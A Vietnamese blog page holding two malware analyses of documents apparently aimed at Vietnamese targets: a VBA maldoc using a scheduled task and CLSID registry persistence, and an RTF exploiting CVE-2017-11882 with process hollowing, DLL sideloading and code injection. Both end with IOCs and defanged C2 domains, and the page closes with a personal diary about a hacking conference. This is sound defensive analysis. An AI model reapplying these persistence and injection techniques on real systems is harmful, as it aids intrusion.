1. Tìm VBA code

Hôm rồi, một người bạn bên ARTeam có gửi cho tôi một sample, có vẻ lại nhắm vào ai đó tại VN:

Sample này có dạng MIME :

Mở bằng Notepad++ và tìm dòng “Content-Location”, tôi có được thông tin sau:

Thực hiện decode toàn bộ nội dung base64 ở trên có được thông tin về OLE file:

OLE file

Parse ole file có được thông tin về VBA code:

VBA code

2. Nhiệm vụ của VBA code

Khi tài liệu được mở, lấy đường dẫn tới thư mục temp (%temp%):

Tạo file msohtml.log trong thư mục temp, tiến hành decode base64 data:

Nội dung sau khi decode được lưu vào file msohtml.log:

Như trên hình, đây là một mảng các giá trị decimal, qua một vòng lặp thực hiện xor với key là 372 để decode và thực thi lệnh. Tôi sẽ decode sau!

Quay trở lại với VBA code, nó thực hiện copy wscript.exe thành msohtml.exe vào thư mục temp (cùng chỗ với msohtml.log):

Tạo một Schedule Task với tên là WindowsMediaUpdates và Action là explorer.exe shell:::{giá trị CLSID đã tạo ở trên}.

Tạo Registry key với CLSID đã tạo ở trên, ví dụ: “HKCU\Software\Classes\CLSID\{93A61ECC-2527–498C-B94A-5CAA00284A5A}\Shell\Manage\Command\”.

Tóm lại, VBA code sẽ thực hiện drop một script lưu tại file msohtml.log, nhân bản wscript.exe thành msohtml.exe. Xậy dựng command trong Registry với CLSID ngẫu nhiên và tạo một schedule task với tên là WindowsMediaUpdates để thực hiện command.

3. Nhiệm vụ của msohtml.log

Thực hiện decode nội dung của msohtml.log bằng Reneo (www.kahusecurity.com/tools.html) sẽ có được nội dụng của script:

Trong script decode được ở trên lại có một đoạn code như sau:

Tiếp tục decode sẽ có được kết quả:

Như vậy, script khi thực hiện sẽ móc lên C2 để download một file có đuôi .gif: hxxps://beta[.]officopedia[.]com/dr/msg[.]gif. Tính tới thời điểm phân tích thì file này không còn tồn tại.

4. IOCs

File (ITW: Scan_Mau_Ao_Thun.doc): 5c41652ee19351f344243d2f10bc79b024db1183598df8e8474e0f4629f0a49a

Other script: msohtml.log

940FBAC34F7F2DB40617F3E0F68DC395CB9D8E71DE20788E1524FD35838AB5CF

Task Scheduler:

Name: WindowsMediaUpdates

Action: explorer.exe shell:::{random_CLSID}

Registry key:

“HKCU\Software\Classes\CLSID\{random_CLSID}\Shell\Manage\Command\”

C2:

hxxps://beta[.]officopedia[.]com

Advertisements

Vô tình bắt gặp trên twitter của @blu3_team (Tôi không rõ sao acc này lại rất hay có được những mẫu target vào VN), tôi tò mò muốn biết kĩ thuật đằng sau nó là gì bởi tôi thấy nó tương tự như một bài mà tôi đã đọc https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a, và vì xem comment, người nghi ngờ là OceanLotus, người khẳng định là 1937CN Team

Xin lỗi vì bài viết khá dài, tôi cũng không biết làm thế nào để cho nó ngắn hơn :D, nếu bạn không có thời gian để đọc hết thì bấm một like rồi chuyển trang khác. Phần tôi, một là do tôi thích viết, mặt khác cũng là cách tôi tự rèn kĩ năng … phần nữa là vì tôi biết rằng chỉ khi mình thực sự bắt tay vào phân tích mới thấy nó khác xa với những gì mình đọc bằng mắt và tưởng tượng….



1. Môi trường thực hiện

1. Máy ảo REMnux (https://remnux.org/): sử dụng để phân tích files, giả lập Internet services và capture network traffic.

2. Máy ảo Win10x64 (tự build): sử dụng cho Static & Dynamic Analysis

a. Cài đặt sẵn các cộng cụ debugger & disassembler: OllyDbg, x64dbg, IDA …

b. Cài đặt sẵn Office 2013.

c. Enable tải khoản Administrator (mặc định tài khoản này bị disable) và đăng nhập bằng tải khoản này để thực hiện phân tích.

2. Phân tích theo hành vi

Khi mở tài liệu trên máy ảo Win10, sẽ thấy ứng dụng EQNEDT32.exe được gọi, sau đó xuất hiện thêm hai tiến trình khác là QcConsol.exedllhst3g.exe:


Trên máy ảo REMnux chạy Wireshark để capture traffic từ máy ảo Win10, thu được kết quả kết nối tới C2 server là login[dot]dangquanwatch[dot]com:

Log của Noriben (https://github.com/Rurik/Noriben) cung cấp:

3. Phân tích sample trên REMnux

Sample nhận được là một file có định dạng RTF:

Sử dụng rtfobj (https://github.com/decalage2/oletools), biết được sample này có 3 objects:


Object tại id 0 có FileName là 8.t, khi mở tài liệu thì file này sẽ được drop vào thư mục Temp trên máy. Hai object còn lại được nhận diện là “Not a well formed ole object”.

Dùng luôn rtfobj để dump toàn bộ các objects này:

Kiểm tra thông tin từng file. Đầu tiên là b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_8.t:

Theo data như trên hình thì khả năng file này đã bị mã hóa và sẽ được giải mã sau khi drop vào thự mục Temp.

Với file b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_object_000C11FB.raw:

Căn cứ vào dấu hiệu như trên hình thì khả năng file RTF có thể sẽ sử dụng exploit CVE-2017–11882 (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882).

Kiểm tra file còn lại là b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415_object_000C11E9.raw:

File này khả năng sẽ chứa đoạn shellcode để thực hiện sau khi máy nạn nhân bị exploit. Thông tin sợ bộ là như vậy, tiếp theo ta sẽ thực hiện debug sample này để xem file 8.t được sử dụng như thế nào.

4. Debug maldoc trên Windows10

Liên quan tới exploit CVE-2017–11882, khi chạy sample, Winword.exe sẽ gọi tiến trình EQNEDT32.exe để handle OLE object. Tuy nhiên, Winword.exe không phải là process cha của EQNEDT32.exe, tiến trình EQNEDT32.exe được gọi bởi Winword.exe thông qua việc sử dụng COM Object như hình dưới đây:

Như vậy, bằng cách nào đó ta phải attach được EQNEDT32.exe vào debugger để debug. Ở đây, tôi sử dụng một kĩ thuật của M$ là Image File Execution Options (IFEO: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/).

Vào Registry, tạo một key như sau hoặc nếu cài Word2013 trở lên thì khả năng có sẵn key này (vì tôi thấy trên máy tôi có sẵn):

Tiếp theo, tạo một string value để khởi chạy debugger khi EQNEDT32.exe được thực thi, qua đó sẽ attach đươc debugger vào tiến trình của EQNEDT32.exe.

Với thiết lập như trên, kiểm tra lại bằng Autoruns sẽ như sau:

Lưu ý: khi thiết lập IFEO, các thiết lập sẽ tự động bộ giữa hai key: HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution OptionsHKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Tiếp theo, mở WINWORD.EXE, sau đó từ Winword mở tài liệu malicious rtf. Lúc này, tiến trình EQNEDT32.exe cũng sẽ được khởi chạy và được attach vào debugger:

Tại debugger, ta đang dừng lại tại EP(Entry Point) của EQNEDT32.exe:

Kiểm tra ta thấy file 8.t đã được drop vào thư mục Temp:

Đặt BP tại API CreatFileW, sau đó nhấn F9 để thực thi, ta thấy chương trình sẽ thực hiện mở file 8.t để đọc nội dung:

Trace qua hàm này và return, sẽ tới shellcode của exploit:

Gọi hàm GetFileSize để lấy kích thước của 8.t:

Sau đó, gọi hàm VirtualAlloc để thực hiện cấp phát một vùng nhớ:

Vùng nhớ được cấp phát trỏ bởi thanh ghi EAX, follow theo vùng nhớ này để xem code sẽ tác động gì lên nó:

Hàm ReadFile được gọi để đọc ra nội dung của 8.t:

Toàn bộ nội dung của 8.t được đọc vào vùng nhớ đã được cấp phát ở trên:

Tiếp tục trace sẽ tới đoạn shellcode thực hiện giải mã toàn bộ nội dung của file 8.t trong memory tại 0x4F70000:

Sau vài lần trace code sẽ thấy được dấu hiệu MZ, nhưng vậy file 8.t sau khi giải mà sẽ là một PE file:

Cho thực hiện xong toàn bộ vòng lặp giải mã trên sẽ có được một PE hoàn chỉnh trong bộ nhớ:

Dump PE mới này và lưu lại để thực hiện phân tích sau:

File dump được là một exe file:

Tiếp tục debug, shellcode gọi tiếp hàm VirtualAlloc để cấp phát một vùng nhớ khác tại địa chỉ 0x5170000:

PE được giải mã tại vùng nhớ 0x4F70000 sẽ được copy vào vùng nhớ mới được cấp phát ở trên:

Dump vùng mem trên ra bộ nhớ, và vì file này đã được mapping trên memory và có thay đổi, nên sử dụng cộng cụ pe_unmapper của hasherezade (https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper) để chuyển đổi từ virtual format về định dạng raw:

Debug tiếp, shellcode gọi hàm GetModuleFileNameA được gọi để lấy đường dẫn của EQNEDT32.exe:

Sử dụng CreateProcessA (CreateProcessInternalA) để tạo một process EQNEDT32.exe khác ở trạng thái Suspended. Do đang thiết lập tính năng IFEO nên ta sẽ thấy process của debugger thay vì là process EQNEDT32.exe:

Note: Nếu thực hiện lại, tới bước này thì sử dụng Autoruns để bỏ việc sử dụng IFEO và cho thực hiện hàm CreateProcessA, ta sẽ có được kết quả đúng như hình:

Đoạn code tiếp theo sẽ lấy thread context bằng GetThreadContext, đọc dữ liệu từ vùng nhớ với hàm ReadProcessMemory, gọi VirtualProtectEx (PAGE_EXECUTE_READWRITE 0x40) để thay đổi trang thái của vùng nhớ trên Suspend process, và cuối cùng shellcode ghi đè lên bằng PE tại địa chỉ 0x5170000:

Thực hiện đặt lại thread context bằng SetThreadContext, cuối cùng shellcode thực hiện hàm ResumeThread để launch PE mới:

Tổng kết lại, toàn bộ quá trình thực hiện của shellcode là giải mã file 8.t thành một PE mới, sau đó thực hiện nhân bản sang một vùng nhớ khác, thực hiện tạo một fork process mới là EQNEDT32.exe, cuối cùng áp dụng kĩ thuật runPE để launch EQNEDT32.exe mới đã bị ghi đè code bởi nội dung của file 8.t.

5. Phân tích binary đã dump

Như đã biết khi phân tích dynamic, sau khi resume thread thì malware sẽ drop ra disk các file sau: QcConsol.exe; QcLite.dll; stdole.tlb vào thư mục %AppData%\Microsoft\Windows\Printer Shortcuts.

Ở trên tôi có 2 file đã dump là _04F70000.memdrop_bin.exe (được unmap bằng công cụ pe_unmapper). Tuy nhiên, chỉ có file _04F70000.mem là thực thi được bình thường, còn file drop_bin.exe thì bị crash (mặc dù lúc fix, kiểm tra bằng PE bear thấy mọi thứ đều ok. Tôi có chat hỏi về vấn đề này thì nhận được trả lời của hasherezade như sau: “dumped samples may not always work, so it is normal”).

Mở IDA và load file _04F70000.exe (đổi tên lại từ file .mem), dừng lại tại WinMain():

Binary lấy đường dẫn tới thư mục %AppData%\Microsoft\Windows\Printer Shortcuts:

Cấu thành đường dẫn của các file:

Tới đoạn code thực hiện call sub_331860 3 lần để thực hiện drop các file trên vào thư mục chỉ định. Tôi đổi tên sub này thành thành drop_file như hình:

Đi sâu vào hàm này sẽ gặp vòng lặp xor thực hiện decode bytes, sau đó là đoạn code thực hiện WriteFile vào thư mục:

Kết quả sau khi thực hiện hàm drop_file đầu tiên, có được file QcConsol.exe:

Đây là một file hợp lệ, có chữ kí và được phát triển bởi hãng McAfee, Inc.:

Lời gọi hàm drop_file thứ 2 sẽ drop ra file QcLite.dll, file này không có thông tin gì về Signature cũng như info, như vậy malicious code sẽ nằm ở file này:

Lời gọi hàm drop_file thứ 3 sẽ drop ra file stdole.tlb. Thông tin về .tlb có thể xem tại đây (https://docs.microsoft.com/en-us/windows/desktop/midl/com-dcom-and-type-libraries):

Tiếp tục, cấu thành một command như sau:

Cuối cùng, gọi hàm WinExec để thực thi QcConsol.exe với tham số là “-LowIntegrityServer”:

Như vậy, với việc thực thi thành công, QcConsol.exe chắc chắn sẽ phải load QcLite.dll vào để thưc thi malicious code.

6. DLL hijacking — Phân tích file QcConsol.exe

Load file vào IDA nhận được thông báo:

Để nạp được QcLite.dll, QcConsol.exe sử dụng API LoadLibraryW và sau đó gọi GetProcAddress để lấy địa chỉ của hàm. Về bản chất khi thực hiện nạp module thì đồng thời code của dll cũng sẽ được thực hiện bắt đầu từ DllMain:

7. Phân tích sơ bộ file QcLite.dll

Gọi hàm VirtualAlloc để cấp phát một vùng nhớ:

Lấy đường dẫn đầy đủ tới QcLite.dll:

Dll này sẽ load file .tlb:

Gọi hàm CreatFileW để mở file này (lpFileName trỏ tới stdole.tlb):

Lấy kích thước của stdole.tlb:

Đọc dữ liệu từ stdole.tlb và lưu vào vùng nhớ đã cấp phát ở trên:

Thực hiện vòng lặp sử dụng xor để decode toàn bộ dữ liệu của stdole.tlb đã được copy lên memory:

Kết quả có được sau khi decode, nghi ngờ khả năng đây có thể sẽ là một PE file khác:

Qua rất nhiều rop_chain (tôi đoán thế :D) thì sẽ nhảy tới vùng nhớ trên để thực thi code (Cách nhanh nhất thì các bạn có thể đặt một HWBP on Execute tại 4 bytes đầu 0x50 0x68 0xA7 0x45; sau đó nhấn F9 là tới):

Shellcode tại 0x01A10000 sẽ truy cập PEB (Process Environment Block) để lấy ra địa chỉ base address của kernel32.dll:

Sau khi có được base address của kernel32.dll, shellcode sẽ tìm địa chỉ của hàm API GetProcAddress:

Với hàm API GetProcAddress, shellcode sẽ lấy địa chỉ của các hàm API khác là LoadLibraryA, VirtualAlloc, FreeLibraryA, Sleep:

Sử dụng hàm VirtualAlloc để cấp phát một vùng nhớ và gọi hàm decode_data() để decode bytes trong shellcode vào vùng nhớ cấp phát:

Tiếp tục sử dụng VirtualAlloc để cấp phát thêm một vùng nhớ khác với kích thước lấy từ vùng nhớ trên (dwSize = SizeOfImage = PE_header + 0x50) và thiết lập vùng nhớ mới này là PAGE_EXECUTE_READWRITE:

Sau khi lấy được section header tại vùng nhớ 0x01880000 ở trên, thực hiện vòng lặp để copy toàn bộ các section data sang vùng nhớ mới được cấp phát:

Tiến hành resolve toàn bộ địa chỉ API ghi lại vào IAT của vùng nhớ mới:

Sau khi lấy địa chỉ của toàn bộ các API cần thiết, sử dụng lệnh call để nhảy tới vùng nhớ để thực hiện lệnh:

Tiếp tục debug xuyên qua nhiều lớp call sẽ tới đoạn gọi hàm CreateThread để tạo một thread mới:

Đi tới ThreadFunction tại địa chỉ 0x01EE35D0. Code tại đây thực hiện lấy thông tin binary có sẵn của Windows là dllhst3g.exe:

Xem tổng quan code thì thấy có đoạn code liên quan đến C2 (login[dot]dangquanwatch[dot]com):

Tạo một thread khác làm nhiệm vụ tạo Persistent trong Registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:

Gọi hàm WritePrivateProfileStringW để ghi string vào file tại “C:\ProgramData\desktop.ini”:

Thiết lập thuộc tính cho file với hàm SetFileAttributesW:

Tạo một Mutex {986AFDE7-F299–4A7D-BBF4-CA756FC01F1B65027208}, tuy nhiên handle tới mutext này sẽ bị đóng ngay sau đó:

Tiếp tục sử dụng bộ API CreateFileW, GetFileSize, VirtualAlloc, ReadFile để một lần nữa đọc ra nội dung được lưu trong file %AppData%\Microsoft\Windows\Printer Shortcuts\stdole.tlb và thực hiện decode dữ liệu giống như đã nói ở bước trước:

Thực hiện kĩ thuật inject code bằng cách gọi hàm CreateProcessW để khởi động tiến trình dllhst3g.exe ở trạng thái Suspended:

Cấp phát vùng nhớ trong tiến trình này thông qua hàm VirtualAllocEx:

Gọi hàm WriteProcessMemory để ghi dữ liệu từ 0x00F90000 (buffer chứa data đã decode của stdole.tlb) vào vùng nhớ đã cấp phát tại tiến trình dllhst3g.exe, đặt lại thread context và resume thread. Lúc này dllhst3g.exe sẽ thực thi bình thường và thực thi luôn malicious code:

8. Debug dllhst3g.exe

Hoàn thành xong việc inject code vào dllhst3g.exe sẽ gọi ExitProcess để kết thúc tiến trình QcConsol.exe và tiếp tục thực thi tiến trình dllhst3g.exe. Do dllhst3g.exe bị inject code của file stdole.tlb sau khi decode trên bộ nhớ, nên cách thức hoạt động cũng tương tự. Để có thể debug xem dllhst3g.exe sẽ làm gì thì trước khi thực hiện bước WriteProcessMemory ở trên, sửa 2 bytes đầu là 0x50 0x68 thành 0xEB 0xFE. Sau khi resume thread, mở một debugger khác để attach và khôi phục lại 2 bytes đã bị sửa.

Lúc này, debug sẽ thấy code tạo một mutext và đọc lại nội dung từ file “C:\ProgramData\desktop.ini” và decode string trong file này thành:

Gắn thêm tham số: 0206F4E4 00D80B30 UNICODE “”C:\Users\REM\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\QcConsol.exe” –LowIntegrityServer và gọi hàm WinExec để thực thi

Tiến trình mới này sẽ kết nối tới C2 (Ở đây tôi đang lái traffic về REMnux):

Tại máy REMnux, sử dụng wireshark sẽ capture được thông tin như hình:

9. IOCs

Domain: login[dot]dangquanwatch[dot]com / IP: 185.77.129.142

RTF: b45087ad4f7d84758046e9d6eb174530fee98b069105a78f124cbde1ecfb0415

8.t: 6328dd14eda2ef983810c0c7b3af47298b5998e4fa52d97b204be2818f08bb69

Binary:

QcConsol.exe: 9f3114e48dd0245467fd184bb9655a5208fa7d13e2fe06514d1f3d61ce8b8770

QcLite.dll: 5b652205b1c248e5d5fc0eb5f53c5754df829ed2479687d4f14c2e08fbf87e76

Others:

stdole.tlb: ba620bad026f25ba6decc4bdcefc6415b563503cf9eaddc4e1137a5871d5cee2

desktop.ini: 31c2be9ca29fb2bd8096720c221ee9682f013eee119b02d390d6efc12684392d

Registry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run & HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

ValueName: Windows HD Audio Manager

Data: %AppData%\MICROS~1\Windows\PRINTE~1\QcConsol.exe -LowIntegrityServer

Future ….

Posted: October 13, 2018 in Uncategorized

Vẫn còn đang dang dở…. khi nào vui vui tôi sẽ public 😀

future_tuts

Nhật ký trà đá 0 chấm 4

Posted: September 18, 2018 in Uncategorized
Tags:

Trà đá hacking #7 lần này để lại cho tôi rất nhiều kỉ niệm:
  • Lần đầu tiên tôi lưu trú ở SG gần 1 tuần (chợt nhớ ra là không phải nhưng chót rồi thôi cứ để nguyên 😀 )
  • Lần đầu tiên tôi làm training ở SG, như một sự kiện bên lề của hội thảo.
  • Lần đầu tiên tôi được trải nghiệm trên con exciter huyền thoại của g4mm4
  • Lần đầu tiên tôi ngồi Q5, ăn Q7, nhảy Q1, ngủ Q2… –
  • Lần đầu tiên tôi ăn lẩu cá kèo mà bị bắn pháo hoa tại một khách sạn ở Q3.
  • Lần đầu tiên trà đá tổ chức nguyên ngày.
  • Lần đầu tiên trà đá cũng phải có câu mở đầu Cờ Mờ 4.0
  • Lần đầu tiên tôi tôi kiêm cả zommer lẫn presenter tại trà đá.
  • – ….

Thông qua g4mm4, tôi được biết trà đá hacking #7 có làm Workshop đào tạo trước hội thảo trong thời gian 2 ngày . Lúc g4mm4 ngỏ ý, tôi có trao đổi xem đã ai đăng kí làm trước chưa, nếu có rồi thì ưu tiên người tới trước. “Loằng ngoằng” thế nào, g4mm4 nhắn tôi : “Chốt lại chỉ có mỗi anh đăng kí training”. Tôi đồng ý luôn! Toàn bộ các việc từ PR, giật tít, lập form đăng kí, liên hệ thuê phòng… tôi nhờ g4mm4 làm hết, đơn giản vì tôi biết riêng khoản này không ai qua nổi g4mm4 và thực tế cũng chẳng còn ai khác 🙂 … tóm lại g4mm4 chạy cả hai show: Workshop + Trà đá. Cảm nghĩ cá nhân, nếu trà đá không có người còn nhiết huyết như g4mm4 thì chắc tới số 10 là dẹp …

Những tuần trước ngày dự kiến training là khoảng thời gian mà có lẽ tôi với g4mm4 chat với nhau nhiều nhất :P, cùng lúc đó tôi cũng báo g4mm4 là tôi submit một bài talk ở trà đá, mục đích là để nếu lỡ có “thọt” vụ training tôi còn có tí vớt vát cho quãng thời gian ở SG 😛 . Tôi cũng để nghị g4mm4 cho tôi talk sau anh Quỳnh 😀 … điều này vô tình lại “trở thành hợp lý” khi tôi được vinh dự support người anh trong quá trình present cũng như nhiều bạn diễn giả khác

Những ngày sau đó là thông tin về số lượng người đăng kí học, có thời điểm tôi và g4mm4 đứng giữa hai từ “Chốt” và “Nghỉ“. Đỉnh điểm, tôi nhắn đúng dòng này cho g4mm4: “Okie, có sao dạy thế vậy, chả mấy khi” và nhận được hình này từ g4mm4 (Cảm động !!! )

Địa điểm training được g4mm4 gửi trước để tôi biết, bàn ghế hệt như chỗ mà thằng ku con tôi đang đi học tiếng Anh 😀

Quãng thời gian lưu trú ở SG, tôi thực sự phải cảm ơn người em 0day đã nhiệt tình đưa đón, tạo điều kiện về chỗ ăn ngủ… Từ trung tâm SG phi về Q2- nơi ông em tôi ở hơi xa, nhưng được cái không khí thoáng mát. Ông em tôi công tác SG cũng nhiều năm rồi nên tay lái lụa khỏi bàn :). Từ khu chỗ nhà ông em, tôi lần đầu tiên dòm được tòa nhà Landmark về đêm trông rất đẹp:

Đối diện với khu chung cư là tòa nhà của TCT, cái tòa nhà to vãi cả đái, tôi không rõ trong đó có tổng cộng bao nhiêu nhân viên, nhưng để ngồi được hết ngần này tầng thì chắc là đông lắm:

Logo của tòa nhà này lại gợi cho tôi nhiều kỉ niệm vui buồn khi tôi còn làm ở công ty cũ. Cái thời “thầu” + “bè” nó giống như kiểu “bạn” + “bè”. Bạn thì ít mà bè thì nhiều Thời đó, lúc làm thầu muộn ở công ty tôi hay bật mấy bài nhạc có đoạn:

"Mải miết 8 tiếng sinh nhai
Mồ hôi thấm ướt đôi vai
Ngược xuôi ngày qua rồi khi nhắm mắt đâu ai hơn ai
Mải miết 8 tiếng sinh nhai
Nhiều khi quên hết đúng sai
Lạc trong đoàn xe lại qua chợt quên rằng ta là ai"

"Ngày yêu nhau
Nào ai đâu nghĩ xa xôi
Nghĩ đâu yêu cổ lùn
Cổ lùn cổ lùn ú u cổ lùn

Gần nhau lâu
Nào ai đâu nghĩ xa xôi
Biết anh em cổ lùn
Cổ lùn cổ lùn u u u cổ lùn"

Tôi qua chỗ ông em ở một phần vì lâu mới có dịp vào SG, anh em lâu ngày không gặp có nhiều chuyện để nói, phần nữa là vì gần khu nhà ông em có quán cà phê rang xay tại chỗ (nguồn cà phê cũng tự trồng luôn),  uống rất ngon. Không phải thứ cà phê nhạt toẹt mà thỉnh thoảng tôi vẫn uống ở HN. Ở SG, có cái đặc biệt là quán cà phê và quán nhậu, chỗ nào cũng to và rộng

Tuy nhiên, với tốc độ đô thị hóa chóng mặt như hiện nay thì tôi nghĩ tương lai, vài năm nữa Q2 sẽ ngày càng đông dân cư hơn … và chắc không khí sẽ không còn được thoáng mát nữa 😦

Hai ngày training, tôi bắt xe từ Q2 lên địa điểm đào tạo ở Q5. Tôi đến sớm để nhận phòng, kê bàn ghế, máy chiếu, căn chỉnh mic … g4mm4 hỗ trợ công tác hậu cần kiêm học viên luôn :D. Thời gian đào tạo là không nhiều và tôi cũng nói thẳng luôn là RE hay bất kì công việc nào đi nữa, nó không phải ngày một, ngày hai là giỏi được … nó phải là cả một quá trình rèn luyện và tích lũy. Bản thân tôi cũng không đủ khả năng để truyền tải hết được, và tôi cũng chả hứa hẹn những thứ cao siêu hay vạn lời có cánh như bao người đã từng hứa hẹn với tôi … nhưng những gì làm được tôi cũng đã làm rồi. Tôi hi vọng sẽ có nhiều bạn thành công hơn và cố gắng đem kiến thức của các bạn chia sẻ lại cho cộng đồng. Nếu được như thế tôi cảm ơn lắm lắm …

Đôi tông của g4mm4 😀

Qua đây, thay mặt BTC, tôi gửi lời cảm ơn trân trọng nhất tới tất cả các bạn đã dành thời gian 2 ngày để tham dự khóa đào tạo RE của tôi (đặc biệt là g4mm4! Nếu không có g4mm4 thì sẽ không có buổi WorkShop này…).

Bên cạnh đó, tôi cũng cảm ơn các bạn đã dành thời gian để gửi phản hồi cho khóa học.. mặc dù vẫn chưa đủ nhưng đó là nguồn động lực để tôi tiếp tục thực hiện công việc mà anh em trong ngành gán cho tôi: “Nhà giáo nhân dân”/ “Thầy giáo quốc dân”.

Kết thúc hai ngày đào tạo, tôi được trải nghiệm một cung đường mà chắc sẽ không quên. Đúng theo cái status tôi đăng trên FB ” Ngồi Q5, ăn Q7, nhảy Q1, ngủ Q2… “. Cũng là lần đầu tiên tôi ngồi sau tay lái huyền thoại g4mm4, trên con exciter đã độ bóng loáng 🙂 . Đây là quán bar mà theo lời g4mm4 cũng thuộc loại sôi động ở SG, là nơi tụ tập của giới có tiền … Có đám tây xin lên nhảy hình như không được nên bỏ về lolz 😀

Tôi có thời gian nghỉ ngơi một ngày trước khi tham dự hội thảo. Tối đó tôi có hai kèo nhậu, một với lđ Seamoun Vncert, hai là với anh em {REA-TEAM}. Kèo với anh em REA đã setup từ trước khi tôi vô SG, nên cứ nhậu đã rồi tính tiếp … ở SG về đêm thì chả ai nói trước được điều gì 😀 .. anh em báo quán nào thì túc tắc mà bắt xe qua quán đó thôi 😛 . Sáng sớm, tôi ăn được tô phở (nghe 0day bảo quán này cũng tự làm từ A-Z) và uống ly cà phê rất chất:

6h tối, tôi bắt xe từ Q2 tới quán Lẩu cá kèo Bà Huyện Thanh Quan ở Q3. Hẹn hò thế dek nào mà tôi là thằng tới quán đầu tiên, a Còm lát sau thấy phi xe máy đến … Còn lão Zombie, định mệnh lề mề vãi nồi, lại còn tạt qua đón ku Chiro. Mịa, tôi cứ nghĩ SG éo cao su như HN, không ngờ vẫn cao su như thường…Mà cái lão chửi thiên hạ như hát hay lại là thằng đến muộn … định mệnh lần nữa. Đám REA gặp nhau thường chỉ nói chuyện và bụp, quên mịa cả việc chụp ảnh check-in.

Tôi chỉ chụp được cái đống điện thoại của lão Zom, wtf không hiểu với 3 cái này lão nhét thế nào vào túi 😦 .. Mọe, đại gia mà lúc nào mồm cũng kêu hết tiền …

Ăn xong, tính đi hát hò vì lâu rồi tôi không nghe anh Còm hát … mà xui cái dính đúng vào cuối tuần, quán gần đó kín phòng, anh em giải tán luôn. Tôi bắt xe lộn qua chỗ lđ Seamoun vì ông anh gọi liên tục, tôi sợ có người lại dỗi lolz 😀

Tưởng ngày nghỉ thế nào, chứ mà nguyên tối cứ nhấc cốc lên rồi lại đặt xuống … nó chả khác gì tập tạ . May mắn thế nào, tôi lại được gặp ca sĩ “Gọi đò”, Thái vừa trở về sau cuộc tham dự mạng lưới đổi mới sáng tạo Việt Nam và có viết bài chia sẻ về “Nhật ký cờ mờ 4.0″ trên Blog cá nhân. Tôi nghĩ bạn nào chưa đọc thì nên đọc 😀

Do thời gian, lịch làm việc cộng thêm việc di chuyển liên tục nên tôi để ý thấy Thái có vẻ hơi mệt. Kết thúc buổi nhậu, tôi may mắn xin Thái chụp một tấm hình … tôi nghĩ tấm này cũng đáng đồng tiền bát gạo như trong bài Nhật ký của Thái đấy lolz 😀

Tối đó, tôi qua đêm cùng với lđ Seamoun … người anh lần này tiếp đón ân cần vãi nồi, không như lần nào đó … cũng giữa đất Sài Thành, tôi móc máy ra gọi bị người anh chửi xối xả . Đúng là cuộc đời, nhiều khi thay đổi chả biết đường nào mà lần….

Xui thế nào, chả biết do lẩu cá kèo hay do uống loạn bia mà đếm đó tôi bắn pháo hoa làm người anh tỉnh giấc … Tôi nghĩ bụng, chắc lần này là lần cuối tôi được nằm cùng phòng với lđ.

Sáng hôm hội thảo, tôi với lđ bắt taxi từ Q3 tới địa điểm Toà nhà FPT Tân Thuận, Q7. Tới nơi, Thái cũng đã có mặt ở đó, nhưng Thái có việc bận cá nhân nên không ở lại tham dự. Tôi nghĩ, nếu Thái tham dự thì chắc màn hỏi đáp ở cuối giờ nó còn kéo dài hơn nữa!! 😀

Năm nay tổ chức trên sân nhà của FPT nên tôi nghe g4mm4 nói ban PR của FPT làm việc tích cực lắm. Bằng chứng rõ ràng là lđ Dương K4i nhận phần phát biểu khai mạc đại hội “đảng” lần thứ 7. Tôi không ngờ “ông ngoại tuổi 30“, thầy của nhiều sinh viên mà lại có những giây phút bối rối và bị “gò vấp” 😀 107… nhất là đoạn nói về cuộc cách mệnh mang tính lịch sử 0 chấm 4, tôi đã thấy lđ cúi đầu.. không rõ có phải vì “tương lai phía trước của Đông Lào” hay không?

IMG_20180826_091938

Tới giờ diễn, xui thế nào mà máy anh em cắm vô máy chiếu bị thọt hết, duy chỉ có con lap của tôi là xài được lolz … Túm váy lại là đừng mang máy Mac đi present … thọt lúc nào không biết. Máy tôi được trưng dụng để phục vụ cho toàn bộ diễn giả của trà đá … Con lap màn cảm ứng nên anh em nói đến đâu, đoạn code nào tôi zom đến đấy, nuột như người ta lồng tiếng cho “phim hành động” á 😀 … nhiều người chắc tưởng cái máy chiếu có chức năng mới nhưng đâu ngờ có tôi ở dưới “quay tay” mỏi vãi nồi 😛 . Tôi nghĩ, quả zom này là độc nhất vô nhị chưa từng có hội thảo nào ở VN 

Tôi được chốt hạ để kết thúc hội thảo … cũng gọi là mang lại một không khi vui vẻ cho những bạn nào còn kiên trì ngồi lại đến cuối cùng. Rất cảm ơn mọi người:

Hết hội thảo là màn hỏi đáp, thú thực buổi trưa tôi gặm được cái bánh mì … may cuối giờ g4mm4 dí cho lon bò húc, chứ không là cũng tụt huyết áp.. 😦 Chưa bao giờ tôi cầm cái lon bò húc lạnh mà làm một hơi hết cả lon 😀 . Nhìn lại cái ảnh này tôi vẫn không nhịn nổi cười :

Nhắc đến trà đá mà không nói đến buổi offline thì phí. Tôi đã từng hạ gục lãnh tụ RD tại Lương Sơn Quán … nhưng tất nhiên tôi cũng không còn nhớ gì sau đó . Lđ cùng giường với tôi cũng vì thế mà giận tôi một thời gian  😛 .

Đụ, trong đám nhậu tối hôm đó, có cha người Sing, gã đi hết bàn này bàn khác gạ uống … cứ chạm mặt tôi là gạ “bottom up”. Được đâu chạm chán tầm 3 – 4 quại , tôi nghĩ “Bốt bốt cái nồi 😀 “ … tôi chỉ gã sang chỗ a Quỳnh, rồi anh RD lolz .. Tôi thấy gã vác cốc sang mời các anh mình nhiệt lắm 😀 … Thiện lành quá đi !!

Offline là để kết nối và tôi cũng đã gặp được nhiều bạn trẻ tài năng:

